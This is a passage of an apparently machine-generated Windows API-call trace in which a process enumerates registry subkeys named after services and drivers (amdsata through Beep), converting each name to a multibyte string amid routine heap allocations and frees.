lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0232.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.800] RegEnumKeyW (in: hKey=0x148, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0232.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0232.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.801] RegEnumKeyW (in: hKey=0x148, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0232.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0232.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.801] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0232.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0232.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0232.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.801] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0232.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0232.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.801] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0232.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0232.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.802] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0232.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0232.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.802] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0232.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0232.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0232.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.802] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0232.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0232.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.802] RegEnumKeyW (in: hKey=0x148, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0232.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0232.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.803] RegEnumKeyW (in: hKey=0x148, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0232.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0232.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1928, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0232.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.803] RegEnumKeyW (in: hKey=0x148, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0232.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0232.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1a48, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0232.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.803] RegEnumKeyW (in: hKey=0x148, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0232.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0232.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.803] RegEnumKeyW (in: hKey=0x148, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0232.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0232.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0232.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.804] RegEnumKeyW (in: hKey=0x148, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0232.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0232.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1928, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0232.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.804] RegEnumKeyW (in: hKey=0x148, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0232.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0232.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.804] RegEnumKeyW (in: hKey=0x148, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0232.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0232.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.805] RegEnumKeyW (in: hKey=0x148, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0232.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0232.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.805] RegEnumKeyW (in: hKey=0x148, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0232.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0232.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.805] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0232.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0232.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0232.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.805] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0232.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0232.806] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.806] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.806] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.806] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.806] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0232.806] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, 